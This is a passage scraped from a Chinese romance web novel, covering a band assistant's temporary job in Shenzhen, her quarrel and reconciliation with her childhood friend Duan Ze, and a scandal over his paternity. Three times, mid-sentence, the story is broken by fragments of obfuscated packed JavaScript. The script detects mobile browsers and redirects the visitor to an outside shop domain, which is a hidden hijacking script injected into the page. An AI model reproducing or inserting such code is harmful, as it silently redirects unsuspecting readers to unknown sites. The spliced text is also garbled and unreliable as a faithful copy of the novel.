她想要一份有趣的,且让人有成就感的工作;她想要组建一个幸福的家庭,和父母一样,就算已知天命,仍怀有对彼此的热情。 是要求太高了,还是她其实在自己骗自己? 手机震动了一下,江绪春摸出来一看,来自向镭。 [向镭:忙吗?] [江绪春:不忙。] 电话就在下一秒打过来。 向镭那头听着有点嘈杂,脚步声响起,她似乎走到了个僻静地儿。 “最近休假都在干什么呢小江,看你朋友圈好像回老家了?”向镭说。 “嗯,回家看望父母。” “有没有兴趣接个私活?” “私活……?”江绪春下意识从床上坐起。 “鹏艺最近不是新签了个乐队吗,让我来带。乐队助理和你一样,也是签约前就跟着他们的,但那个小姑娘什么都不懂。我手下艺人太多,实在没空,你看你方不方便带她一段时间,放心,钱不会少。” 鹏艺就是陆鲨目前签约的公司,位于深圳。 “我……”消息来得突然,江绪春一时不知该如何回应。 “也就个把月,需要驻扎深圳,带她跑几个通告,熟悉一下流程。当然,你要是不方便也完全可以,不强求,但最好两天内把答复给我,好吗?” “好,谢谢镭姐。” 说是两天,但翌日下午,江绪春已经坐上了去深圳的飞机。 她觉得自己继续在兴榕待下去只会越待越消沉,而深圳无疑是个适合发展的城市,她可以用这一个月好好熟悉一下环境,结束这个短期工作后,要是合适,直接开始找新工作。 关于这件事,江绪春谁也没有说。 对于家人,她只说陆鲨有工作要忙。对于段则,她更是只字未提。 除了向镭,没人知道她已经来到了深圳。 节气已近小雪,来往行人穿搭各异。有仍着短衫凉拖的男人,也有裹着大衣的女人,江绪春听从向镭建议,穿了件薄绒卫衣,在不刮风的时候算是刚刚好。 公司给她在酒店安排了间包月套房,匆匆办理完入住后,她便赶到了公司。 泓州和深圳一北一南,除了签约初期和年会,江绪春基本没怎么来过公司,每次看到门头都有种陌生的感觉。 鹏艺新签的乐队名叫bluenight,是个前两年刚组建的新兴乐队,由一群大学时志同道合的好友组成。 他们和陆鲨很像,但他们比陆鲨更幸运。他们在大学时便打出名气,出了第一张专就能参加音乐节,如今又签约了业内知名的鹏艺,未来一片坦途。 就是眼前这个只会傻笑的小姑娘,好像还没明白他们一路走来有多顺利。 小姑娘名叫lily,人如其名长得像百合一样纯洁,但性格也同样天真。她是主唱的妹妹,之前只是受姐姐之托兼丨职当助理,今年毕业了,便决定正式踏入这一行。 “你好,lily。”江绪春向她伸出手来。 “你好呀绪春姐,镭姐已经和我说清楚了,接下来我一定好好向你学习!”小姑娘说到最后一个立正,神情严肃,就差没敬礼了。 江绪春哭笑不得,把从兴榕带来的点心送给她,想拉近些两人的关系。 Lily也没推脱,坐下就开始吃,边吃边夸,吃完忽然想起来:“糟了,我忘记给你带礼物了。” “不用,这也算不上什么礼物,就是分享点好吃的。” “那下次我也和你分享!” “好啊。” 江绪春看着她,忍不住在想,自己刚入行时,在别人眼里是不是就是这副模样。 当年,她比起陆鲨的助理,更像是段则的跟屁虫。 她每天都不知道要干什么,就亦步亦趋地追着段则跑,每次收到任务也不懂如何执行,段则一看她茫然的眼神就心领神会,手把手一点点教她。 最开始,那些合作方嫌她什么都不懂,不愿意与她对接。 他们是对的,因为就算找了她,她还是会去找段则,然后围观段则工作,不时问点问题。 团队加上江绪春拢共五个人,段则要负责几乎四人份的工作,其余四个瓜分剩下那点,江绪春是当中最没用的那个—— 并且因为他当初的承诺,还是收入最高的那个。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17217522|197267||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 有时候段则实在太累,解答她那些有点白痴的问题时,语气会变得不是很好。 江绪春理解他在高压下的情绪,所以从不多说什么。但每次等他忙完一波,段则会突然带份奶茶甜品之类的找到她,和她说句“不好意思”。 “我没有怪你啦,是我自己工作能力不足。”江绪春说。 段则疲累地在她身边坐下,身子一歪,靠倒在她肩膀上,微阖着眼,声音也喃喃的像在梦呓:“你后悔吗?” “什么?” “后悔加入这里吗?” 其实在当下,说不后悔是不可能的,虽然工资还算可观,但前景过于渺茫。哪天陆鲨解散了,她都不知道自己何去何从。 可江绪春怎么可能说这些话。 “当然不后悔。” 她听见段则沉闷地舒了口气,轻声道:“快吃吧,等会儿奶油要化了。” 语罢,就累得在她肩上睡着了。 段则倚的是右肩,江绪春只能艰难地用左手吃完了那牙蛋糕。 未来昏暗又迷茫,但嘴里的奶油香甜,她想随它去吧,过一天算一天,她要和段则一起做白日梦。 而眼下,她显然已经长成了可以独当一面的存在,甚至还有资格带其他助理。 向镭和她交接了bluenight接下来一月的行程细节,便匆匆告别,她是个大忙人,当晚就得坐红眼航班飞上海。 都是些常规通告,江绪春没什么负担,自信地保证一定圆满完成任务。 “再这样下去,你都快能接替我的工作了。”向镭笑说。 “不敢当,辛苦你了镭姐,等你回深圳请你吃饭。” “好,那我先走了。” 江绪春一直目送向镭离开会议室。 陆鲨虽已在摇滚圈崭露头角,但和鹏艺的众多大牌艺人相比,只能算是底层。因而公司并没有多重视陆鲨,都没安排几个人手,她名义上是助理,可执行经纪的活差不多也是她来做。 而她并不在意这些title,反正她也不和鹏艺签合同,叫什么都不影响她的工资。 更何况,带完这个小姑娘,她就要彻底告别这一行了。 Lily的脑筋其实很活络,只是签约公司后,通告变多,且流程变得正规而繁琐,再加上公司也没人带她,她一下子六神无主。 在江绪春的指导下,她进步神速,几乎每天都能看到她比前一日更成熟自信。 一旁的江绪春也与有荣焉,充满成就感。 “绪春姐,我太喜欢你了,你不要走好不好。” 小姑娘正是粘人的年纪,一个月刚过半,她已经提前开始分离焦虑。 “我留在这里,那陆鲨怎么办?” “你就不要他们了,跟着我们嘛。”lily开玩笑道。 江绪春笑了笑,没说话。 电话恰在此时响起,还是视频电话,来自段则。 想起刚刚两人的聊天,一瞬间,江绪春有种出轨被抓包的感觉。 这会儿她正和lily在后台,电话一接,还真可能会露馅。 江绪春忙挂断了电话。 [江绪春:我现在不方便接电话,怎么了?] 段则倒也没再打,而是甩了张图给她。 这是bluenight歌迷抓拍他们离场的一张图,而在跟随的工作人员中,分明拍到了江绪春的身影。 19. 第 19 章 一切不言自明。 江绪春的拇指悬在键盘上,不知该作何回应。 没等她想好措辞,段则的话紧随其后。 [段则:合着你突然辞职,原来不是不想做这一行,而是不想继续跟着陆鲨?] 段则的语气突然让她很不爽。 她大可以实话实说,自己无非是帮同事一个忙,短短一个月就结束。可他凭什么不分青红皂白,上来就妄加揣测她。 [江绪春:你不是说了,这三个月我干什么都行吗?] [江绪春:如果有竞业协议,怎么不一开始说清楚?] 那头沉默几秒后。 [段则:可不敢有。] [段则:随便你。] 江绪春瞪着屏幕,直到快逼出泪来,才猛地移开眼,按灭手机屏。 “怎么了绪春姐?”刚刚识趣退到一边的lily,见状又关心地凑上前。 小姑娘的眼神关切又可爱,江绪春笑着摇摇头,看了眼监视器:“没事,你把后台收拾一下,等会儿他们要结束了。” “好!” 活动结束,江绪春婉拒了聚餐邀约,一个人回到酒店。 高层套房的视野很好,可望去也不过是成片的高楼大厦,乌泱泱向她倾倒,像列队行军的士兵。 江绪春越待越憋闷,干脆去了最近的深圳湾看海。 工作日人不多,但恰逢阴天,本就不算清澈的内海看着乌蒙蒙一片,倒也是另一种意义上的海天一色。 好在她并不在乎海漂不漂亮,只想一个人静静站在滩涂上,听海水翻涌的声音。 作为内陆人,她看过的海很少,最漂亮的大概就是那次和段则去富国岛看到的。 清澈的琉璃色,一路与地平线相接,白沙绵软,椰林飘香。 但也是在那个海边,她的大脑突然犯了错。 从此,她抗拒一切会让人产生错误幻想的美丽沙滩。 两人相识二十余载,吵架的次数自然不少,最严重的还是高中某次。 至于吵架原因,江绪春至今都羞于启齿—— 她喜欢上了学校附近的一个小混混。 两人相识于那间陈家饭屋,正值晚餐时分,江绪春肩负任务,前来打包一份寿司回去和同桌分着吃。 寿司是现做的,等待间隙,江绪春看到了那个男生。 他好像刚和人打完架,嘴角眉梢青肿一片,他手拿冰袋,歪着脑袋正在敷脸,刚好和她对上眼。 “你好。”他笑着说。 江绪春怯生生地点了下头。 见她胆怯的模样,男生笑得更灿烂了:“你怕我啊?” 江绪春下意识点点头,又赶忙摇摇头。 男生见状,直接笑到前仰后合,不小心扯到伤口,又不自觉龇牙咧嘴,额头逼出一层薄汗。 江绪春始终静静地观察着他,他的头发剃得很短,乌黑的剑眉下是一双薄薄的单眼皮,泛肿的嘴唇红得像血。 男生渐渐不笑了,也这么安静地看着她。 换作平时,江绪春早移开眼了,但那次她没有,她鼓起勇气与他一直对望。 看到最后,男生温柔地轻声道:“你真漂亮。” 也就是那一刻,江绪春不受控地心动了。 后来,江绪春还见过他好几次。 他几乎每晚这个时候,都会在二中附近游荡。他会请她吃饭,教她玩滑板,打台球,也会什么都不做,只是肩并肩一起看日落。 江绪春悄悄将这份幸福隐匿心底,直到某天,两人在一起的时候,被段则撞见了。 当晚,段则就和她在学校附近的公园里大吵了一架。 段则说她不学好,居然和这种人混在一起。 江绪春觉得他太自大,对人充满偏见。 “那我就等着看你什么时候混成大姐头。”段则说。 “那也不关你的事!”江绪春梗着脖子道。 此话一出,架有点吵不下去了,段则嘴唇颤动着,半晌才说:“你到底喜欢他什么?” 这问题问住了江绪春。 她回想了一下自己心动的那瞬间:“因为、因为他夸我漂亮。” 段则哑然失笑:“就因为这个?” “怎么了,不行吗?” “我也夸过你漂亮啊。” “你什么时候夸过。” “我初中就不喊你‘丑小鸭’了。” “那你也没叫我‘白天鹅’。” “那我以后天天喊你‘白天鹅’好不好。” “不好。” 非常幼稚的、荒诞的,只有青春期的少男少女才能吵出来的一场架。 两人不欢而散,但非常尴尬的是还得一起回校。 那时候已是晚自习时分,保安大爷自然拦住了两人,正在气头上的段则不爽地躲开他的手:“高二五班段则,你上报吧。” “你这什么态度,啊?不想上晚自习就不要回来了,干脆学也不要上好了……” 趁大爷的注意力全在段则身上时,江绪春一溜烟跑了。 但这事儿显然还没完。 第二天晚餐时分,就在江绪春和男生一起去台球厅时,男生突然说:“有人跟踪你。” 江绪春一回头,果不其然对上段则那张臭脸。 她气得都不想和心仪的人打台球了,气势汹汹地走上前:“你到底要干什么!” “你再这样下去,我要告诉阿姨了。” “你敢。” “你看我敢不敢。” 江绪春确实被唬住了,她表情还硬气着,但都没敢和那个男生打声招呼,就小跑着冲回学校。 然而一颗萌动的春心,是无法这般轻易按灭的。 那时的她爱读很多青春疼痛文学,她知道眼前的男生算不上什么好人,也知道按照书中的走向,他们的结局不会太好。可她还是想学着和书中女主一样,为喜欢的人赴汤蹈火一次。 于是翌日晚,她又悄悄去找了那个男生。 两人背靠假山,佯装看日落,手背互蹭了无数次,终于忍不住缠绕在一起。 在这之前,男生有很多次想试着牵她的手,或者抱一抱她。 但从小作为乖乖女的江绪春,都抗拒地躲开了。 而那一晚,比起心之所至,她更像是在赌气。 段则有什么资格管她,她就要和这个男生在一起,就要和他牵手,就算和他接吻他都管不了! 话虽如此,但当男生真的凑过来时,她还是吓得躲开了。 “下、下一次吧。”她颤抖着道。 男生伸手捧上她脸庞,食指绕着她颊侧的碎发,声音压得很低:“不要让我等太久好不好,宝宝。” 还沉浸在惊吓中的江绪春整个人六神无主,也不知道他在说什么,稀里糊涂地应下来后,就借口要上晚自习跑回了学校。 结果当晚回到家,看到父母面色铁青齐齐坐在沙发上时,她便觉情况不对。 段则这个狗东西,真的去告状了。 母亲第一次打了她,边打边哭,问她有没有受伤害。父亲手里提着扫帚柄,但不打算打她,而是逼问她男生在哪里,他要去把那个男生的腿打断。 经此一事,江绪春心里甭管有多少乱撞的小鹿,都在那晚被吓死了。 为了躲着那个男生,她晚餐时分都不敢出学校,想吃校外的东西都只能托人带,跟坐牢似的。 她和那个男生是断了,但她和段则的账还没算。 挨完打的第二天晚餐时分,屁股还隐隐作痛的江绪春,憋着一肚子气冲到了五班。 班里还有些没去吃饭的学生,茫然地看着门口这个满脸怒火的姑娘。段则倒是瞬间了然,没待她开口,就大步走出了教室。 江绪春把他拽到无人的角落,上来就擂了他一拳。 一拳不够解气,江绪春连捶带踢,把昨晚挨过的打双倍回赠给他。 大概是心虚,段则一下没躲,叹了口气,老老实实被她打。 到最后,江绪春手都打痛了,她甩了甩手:“谁让你今天穿带拉链的衣服的。” 给她指关节打红了一大片。 段则看了眼她的手,没说话,扭头看向别处,脸色没比她好多少。 “告状是不是很爽?”她问他。 段则还是不说话。 “告状的时候不是可会说了吗,现在怎么哑巴了?” “你厉害,你怎么不去找他了?”这位终于会开口说话了,声音不知为何有点哑。 “我哪有你厉害,你这个小人,就知道在背后做这种龌龊事!”江绪春气得眼泪都快掉下来了。 无论出于何种原因,在学生时期,这种告密者都是最可恶的。 这意味着对方选择站到了学生的另一端,说白了就是投敌。 而这个叛徒居然还是她十几年的好朋友,江绪春又气又难过。 不知是不是视野模糊下的错觉,段则的眼眶看着有些泛红。 察觉到她的目光,他别过脸去:“随便你怎么说。” 两人就此开始冷战。 这场冷战整整持续了一个月,两人本就不在一个班,不主动的话很难有见面机会,偶尔擦肩而过,也会很快避开。 其实大概过了一周,冷静下来的江绪春就有点想通了。 那个男生不是什么好人,而那时候她正上头,听不进去任何好言好语,段则的方法虽然简单粗暴,但可能也最有用。 可青春期的少女执拗又傲气,就算道理都明白,也不肯低下这个头。 段则怎么也不来找她?他又不是完全无辜,明明可以不用这么极端,多说几句说不定她就听进去了呢,她也没有这么冥顽不灵吧。 就算有……他真的不愿意和她做朋友了吗? 江绪春每天为此辗转反侧,吃不下饭睡不着觉,一度让父母以为她还想着那个男生。 “我根本不喜欢他啦!你们为什么都不相信我,我真的很后悔认识他!”江绪春哭着对父母喊。 她真的希望一切都没有发生过。 希望像原来一样,还和段则做打打闹闹的好朋友。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17227535|197267||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 她恨死那个男生了。 但是更恨她自己。 赌气一星期,醒悟一星期,又神伤一星期,江绪春终于憋不住了。 她开始每天放学时,有意无意从五班门口绕一圈。 不过就算和段则对上眼了,她也会假装若无其事地走开。 就这么又绕了一星期,某天晚上,江绪春急着回家吃表姐旅游带回来的巧克力,忘了这一茬。 她正着急忙慌地下楼呢,肩膀突然被人一撞。 “今天怎么不绕路了?” “我要回家吃巧克力……”江绪春下意识接话,说一半愣住了。 走廊灯光昏黄,段则似笑非笑地垂眼看她:“快回去吃吧。” 时隔一个多月,两人终于又说上话了。 江绪春有些欣喜,又有些尴尬。 最终还是后者更胜一筹,她匆匆一点头,一溜烟跑远了。 表姐千里迢迢从比利时带回来的巧克力确实很好吃,可惜江绪春吃得心不在焉,脑中总在回想今晚的事。 那像是一个信号,一个两人有机会和好的信号。 第二天,就在江绪春还在想怎么接住这个信号时,午餐时分,她在楼梯口看到了守在那里的段则。 “巧克力好吃吗?”他问。 江绪春呆呆地“嗯”了一声,从口袋里摸出巧克力给他。 段则也呆住了:“我没有要跟你要的意思……” 不过江绪春确实是特地带给他的。 原本她想构思一个合适的场景,和他说句不好意思,然后把巧克力当作赔礼。 偏偏眼下的情况和想象中天差地别。 而巧克力也天差地别—— 天气本来就热,又在她口袋捂了一上午,巧克力已经融化大半,从锡纸缝里渗了出来,给她口袋都弄脏了。 一切都糟透了,江绪春悲伤得都快哭了。 段则忙接过她手里一塌糊涂的巧克力,揭开吃了下去。 这下好了,两个人的手都脏脏的,段则的嘴周还脏了一圈,江绪春也有个脏口袋。 非常公平。 两人各自跑到卫生间洗手,洗完又在走廊上汇合。 “不好意思,我不该告状的。”段则先开了口。 江绪春本来也想道歉的,听他这么一说,干脆借坡下驴:“没关系,我原谅你了。” “……还真不客气啊。” “怎么了吗?” “没事。”段则揽过她肩膀往前走,“漂亮小鸭。” 江绪春被夸得云里雾里,半晌反应过来:“喂,你是不是在偷偷用我的衣服擦手。” 段则拔腿就跑。 两人这场旷日持久的冷战就此结束。 后来,两人再也没有冷战过这么久,吵架的频率也越来越低。 尤其毕业以后,都是进社会的成年人,很多事彼此体谅忍让,其实没什么可争吵的。 就算偶尔有什么矛盾,不出一天,总有一方会先低头。 天已经黑透了,海风吹得她直打颤,江绪春将外套裹紧了些,打车回了酒店。 这次她不想低头,她觉得自己没做错。 一天转瞬而过,段则没有联系她。 很快又是一天。 其实一旦忙起来,人就没有心思想东想西。 偏偏bluenight这个乐队咖位太小,通告少得可怜,江绪春大部分时候无所事事,都拦不住驰骋的思绪。 Lily对此倒很开心,闲的时候喜欢拉着江绪春到处溜达。不是打卡各个网红餐厅,就是过关去香港逛街,操着多邻国学来的粤语和人家要一笼虾饺。 “哈?”服务员听得一脸困惑,不耐烦地用蹩脚的国语道,“你可不可以说普通话啊小姐。” “哦哦。”lily被训得一缩脖子,“一笼虾饺,谢谢。” 态度虽差,餐点还算美味,lily的心情很快又好起来,举着筷子让她帮忙拍打卡照。 作为助理,一个良好的拍照技术算是必备手艺,这也是lily总喜欢拉着她到处玩的原因之一。 江绪春三下五除二帮她拍好一堆漂亮照片,lily连饭都顾不上吃,美滋滋地开始修图,徒留江绪春一个人面对一桌美食,心情又开始变得纷乱。 “你快点啦,这边好像只允许坐四十五分钟。”眼看餐点都快凉了,江绪春催道。 “快啦快啦,我再编辑一下文案。” Lily的美甲在屏幕上敲得“哒哒”响,直到最后一声重敲,似乎是发出去了。 江绪春正等着她开动,却见她的神情忽而变得疑惑,转瞬又是惊讶。 “绪春姐,你是陆鲨的助理对吧?”lily突然抬起头问道。 “是啊,怎么了?” 这不是认识第一天就知道的事吗? “陆鲨的主唱……上热搜了。” Lily说着,将手机推到她面前。 热搜第一位,赫然是这么一个词条—— “段则私生子”。 20. 第 20 章 一切起源于半个月前。 某蓝血品牌官宣了新的创意总监colin,这是该品牌首次启用华人总监,因而在国内引发不少关注。 尤其是照片公开后,这位colin年逾半百,却极富腔调,甚至越老越有韵味,顷刻将关注度推向顶峰。 众人纷纷开始起底他的履历,非科班出身,跨行从事时尚设计,早年曾担任国内某品牌设计总监,操刀过几场圈内著名大秀,后被国外某奢牌挖角,在国际时尚圈闯荡至今。 事业备受关注,colin的私生活自然也令人好奇。 作为圈内罕有的直男,他与结发妻子大学同窗,至今同舟共济三十余载,膝下一双儿女前途无量,长子目前在沃顿攻读mba,小女明年也即将从剑桥本科毕业。 多么令人艳羡的精英家庭。 一切都很完美,偏偏有人从完美之下,撕开了一层裂缝。 最开始,这只是某colin八卦贴下一条不起眼的回复。说自己的姑姑曾和colin合作过,他对妻子并没有看上去那般忠贞不二,尤其早年在国内时,曾和某模特不清不楚,最终以该模特退圈告终。 起初,大家对该评论都抱持一个将信将疑的态度,毕竟全凭一张嘴,谁都能编两句。 直到该评论被搬运到其他平台,不少如今已四五十岁,曾关注过当年时尚圈的人跳出来,说自己也听过这段八卦。 很快,便有人扒出这位退圈的模特是段咏竹。 而当一切指向了段则这个名字,顷刻将该事件推向一个新高丨潮。 江绪春面无表情地看完了某营销号整理的时间线。 从她认识段则时起,确实就没有见过段则的父亲。 小小的她也曾好奇,为什么他家只有妈妈,而小段则板着一张精致的小脸,平静地说爸爸死了。 江绪春年纪虽小,但也懂些基本的人情世故,自此对该事讳莫如深,再也没提起过。 服务员已经不耐烦地过来催了两转,两人匆匆收拾好东西,离开了这间茶餐厅。 “不好意思lily,今天可能没法陪你爬太平山了。”江绪春说。 “没关系绪春姐,我和你一起回深圳吧。”lily抱着她的胳膊,一双眼看着比她还忧心。 仿佛前一秒还穿梭在狭窄拥挤的香港街头,下一秒,她又独一个坐在了空荡荡的酒店套房内。 手机静静躺在她手边,无数次她想和段则说些什么,又不知该如何开口。 平心而论,这事儿和她其实关系不大。 毕竟她已经提出辞职了,而且公司自有公关团队会处理好一切。 江绪春抱膝坐在阳台上,静静看着屋外夜景,夜幕降临,高楼大厦的灯光已然盖过了月光。 电话忽而响起,来自向镭。 “热搜你看到了吧?”向镭开门见山。 “看到了。” “你能联系上段则吗,我这边怎么都联系不上他。” “什么?!” 江绪春忙给段则打了一通电话。 漫长的等待音后,电话被自动挂断。 她慌忙点开购票软件,只剩最近一班红眼航班可以去泓州,中途还得在北京转机过夜。 点击购票时,她的手都在抖。 她真是个蠢货,之前到底在犹豫什么,怎么这种时候还要赌气。 在她是他的员工之前,首先是他的朋友。 一夜无眠。 江绪春蜷缩在大兴机场过夜旅客区的长椅上,过分活跃的头脑没有一刻安宁,她害怕、担心,又满是后悔。 她不想两人的关系,就这么终结在最后那句“随便你”。 再次走下飞机,江绪春的脚步都是虚浮的。 她给段则打了通电话,依然无人回应。 出租车疾驰在马路之上,离段则家越近,她反而越心慌。 “姑娘,到了。”司机提醒她。 江绪春这才回过神来,拿好东西下车。 站在段则家门前,江绪春深吸一口气,按下门铃。 隔着厚厚的门板,能隐约听见门铃声自内响起。 半分钟后,江绪春又按了一次。 第三次后,她终于丢掉所有礼貌,径自解锁进屋。 屋内看着一切如常,小狗正在客厅信马由缰,见她进门,好奇地抬头看她一眼,又“嗖”地跳上沙发。 江绪春看了眼猫粮碗,是空的。 “等我一下。”江绪春对小狗说完,便匆匆走向主卧。 推开主卧门,遮光窗帘拉得严严实实,屋内一片漆黑寂静,江绪春按亮顶灯,看见段则正安静地躺在床上。 “段则!”她语带急切。 没有反应。 她踉跄着扑上前,床上的人一派安宁,卷毛下的一双眼平和地阖着,没有一丝波澜。 江绪春颤抖着手,小心翼翼探向他鼻腔。 感受到那抹温热的气息,她险些没哭出来。 “段则。”她推了推他,“你醒醒。” 心慌之下,江绪春的目光不断飘忽着,扫到床头柜那处时,看见上面放着一盒阿普唑仑,和一杯喝剩一半的水。 她慌忙打开药盒,想看看里面还剩多少。 “拢共就给开7片,一口气全吃了也死不了。” 耳畔响起一阵哑得要命的声音。 一瞬间,江绪春甚至没有反应过来。 等她真的看到那双眼在鲜活地望着自己时,她一把丢开药盒,用力抱住了他。 她的动作太大,段则被压得闷咳两声,费劲地抽出手来回抱住她。 “你不是应该在深圳吗?”他说。 江绪春没说话,只是很用力地抱着他,感受他充满生气的体温、呼吸和心跳。 “还是bluenight好,年轻又有前途,是不是?”段则又道,“早说啊,早说我就不拦着你了。” 一个人唱半天独角戏,段则终于忍不住了:“你怎么了?” 回应他的,是一声很轻的啜泣声。 段则刚被吵醒,脑子都不甚清明,远在地图另一端的人突然空降他眼前,给他压得一口气没喘顺,又自个儿哭上了。 唉,相识二十多年,他还是不太明白这个姑娘。 “我错了小鸭。”既然人哭了,那就得哄,“我不该那么说你,别生气了好不好?” 怀里的人哭得更厉害了。 “到底怎么了?”段则茫然又无奈,“是不是别人惹你生气了?” 耳畔传来带着哭腔的一句:“你。” “……”段则心虚地滚了下喉结。 “我那天确实有点不爽,毕竟你当初突然要辞职,我以为你是不想做这行了,结果转头在别的乐队那里看到你,你甚至都没和我说一声。”段则顿了顿,“但回头想想,这都是你的自由,我不能用我们的关系绑架你。” “我确实想转行,是镭姐太忙了,让我帮忙带他们的助理一段时间。”江绪春带着一口哭腔,磕磕绊绊地在他心口边解释。 段则的掌心一路从她的后背滑至发顶,他轻轻揉了揉她的头发:“那你怎么不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17236860|197267||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 告诉我?” “你那天的语气太讨厌了!”江绪春想想还是气不过,“王八蛋!” 段则讶异地一挑眉尾。 稀罕事,多久没听她用大名之外的词称呼自己了。 “嗯,我王八蛋。”他欣然接受,“原谅我好不好,我以后一定好好说话。” 怀里的人犹豫了一会儿,终于慢慢退出他怀抱,坐在了床边。 一夜没睡的脸本就憔悴得厉害,这会儿还哭肿了一双眼,发丝被眼泪黏在颊侧,看起来像刚流浪回来似的,好不可怜。 段则哭笑不得,抬手拨了拨她的碎发:“别气了,先去洗个脸,回来再骂我。” 江绪春摇摇晃晃地站起,走一半忽而想起自己回来的主要目的,她回头道:“我不骂你了。” “嗯,都行。”段则颔首,“都听你的。” 江绪春在主卧洗手间好好收拾了一下自己,洗完脸梳好头发,还没忘抹点儿他的水乳。 一番拾掇下来,人看着确实精神了不少,头脑也被凉水逼得清醒了几分。 她整理了一下情绪,重新回到卧室。 段则这会儿已经坐起,正有一口没一口地喝着床头的那半杯水,没打理的小卷毛乱糟糟地顶在脑袋上。 江绪春在床附近的单人沙发上落座,目光不自觉飘向那盒药:“你怎么又开始吃安眠药了?” 乐队刚组建那会儿,因为看不到未来,段则常常愁得睡不着,不得不靠安眠药度日。 那段时间江绪春想了很多办法,比如给他买舒服的床品,点香薰,喝牛奶,还会连麦哄他睡觉,就这样慢慢帮他戒了安眠药。 “我睡不着。”段则说。 “是因为……”想起那条热搜,江绪春大概猜到了原因。 “因为我一想到你在给bluenight当助理就不爽。” “啊?”意料之外的答案,让江绪春猛地抬起头来,“我……” “我现在知道是误会,但我之前不知道,你又没告诉我。” 理直不直不知道,段则的气儿挺壮的,小卷毛随着他说话的节奏还在一晃一晃。 不是为着那条热搜失眠,江绪春不知道该不该高兴。 “那你怎么都不接电话?”她问。 “我失眠了好几天,好不容易昨天上午找医生开了药,想着好好睡一觉,就给手机静音扔客厅了。”段则说,“你不会就因为这个飞过来的吧?有什么急事二十四小时都等不了,地球快爆炸了赶着来通知我?” 地球爆炸了也好,所有隐秘的心事,混乱的过往,都能顷刻间一笔勾销。 可惜哪有那么好的事。 “我去给镭姐打通电话。”江绪春说着,起身离开了主卧。 她来到客厅阳台,眺望着小区附近的公园,将段则平安无事的消息告诉了向镭。 据向镭说,两方的公关团队已经连夜进行对接,各自发布了一条简要的公关文,但还有一些细节方面需要和当事人进行商议。 “我明白了,我一会儿和他说。”江绪春说。 “好,辛苦你了,有事随时联系我。” “嗯,拜拜。” 江绪春收起手机,深吸一口气,转身回到屋内。 猫粮碗又满上了,小狗吃得正香,段则不知何时已经来到客厅,正坐在沙发上看手机。 听见脚步声,他抬头看了她一眼,神色还算平静。 “……你都看到了?”江绪春小心翼翼地问。 “嗯。”段则笑着晃了晃手机,“原来是我爸复活了。” 21. 第 21 章 段则的语气越轻松,江绪春越不知该如何应对。 她上前在他身边落座,手下意识揪紧衣角,好像犯错了的是自己似的。 “那些人大概现实生活不如意,才能靠在网上骂人获得成就感,你别放在心上……” 段则垂眼,看她嘀嘀咕咕地试图劝慰自己,眼神因为过分小心,甚至有点儿鬼鬼祟祟。 他话没听进去多少,倒被她这副小表情逗乐了,非常爽快地点了三下头:“知道了,小鸭。” 江绪春打量着他,不确定他现在的轻松神态是不是装出来的。 “你别硬撑啊。”她摸了摸他的手。 段则反手抓住她的手,捏了两下:“真没事儿,我早免疫了。” 的确,陆鲨的名气与骂名一直是同生共长的。 当初刚刚小有名气时,滚圈内部就有很多质疑,觉得陆鲨是不是专靠收割小姑娘。 后期签约公司,被推向大众后,铺天盖地的负评像浪潮般涌来。不少人甚至不知道陆鲨是一个乐队名,只是跟风复制粘贴,彰显自己有跟上网络潮流。 而作为陆鲨的灵魂人物,也是陆鲨被质疑光靠脸的“罪魁祸首”,段则自然担下了绝大部分骂名。 最过分一次,段则私下外出时,被一个男生公然挑衅讽刺。 那天,江绪春和段则刚在外吃完饭,离家不远,便想着一路散回去。 走一半,路边忽然蹦出一个看着不过十七八的男生,操着一口网络热梗,指着他大声调侃。 段则斜睨了他一眼。 天生一张冷脸,再加上不低的个子,这一眼大抵还是很有威慑力。 男生吓得后退两步,眼神张皇地搜寻周围有没有其他人,见自己孤身一人,忙掏出手机对准他:“来啊,你有本事来啊。” 江绪春下意识扣住了他的手腕。 段则没说话,只是淡然收回目光,继续向前。 直到拐过街角,他才低头看了眼她仍扣着的手:“怕我冲动?” 江绪春后知后觉收回手,小声“嗯”了一句。 毕竟,这位是有前科的。 虽然“前”得有点久远,得追溯到高三时分。 也是一个寻常夜晚,难得的周日假期,两人约着一起去图书馆自习。 学完后,又在旁边的小店吃了两碗热腾腾的土豆粉,就这么心满意足地并肩回家。 冬日的天黑得早,不过九点多,已经有醉鬼喝完开始出来闹事。 两边不巧就这么碰上了。 三个喝得醉醺醺的彪形大汉摇晃在街头,隔老远便能听见他们互相叫嚷的声音。 江绪春被吓得一缩肩膀,偏偏这是条回家得走的必经路,原本走在人行道外侧的段则,见状默不作声地和她换了个位置。 就算被隔开一个人,一行人擦肩而过时,还是没拦住醉鬼飘向她的目光。 不知是谁先吹了个口哨,像是某种信号,三人忽而转头围着他们走。 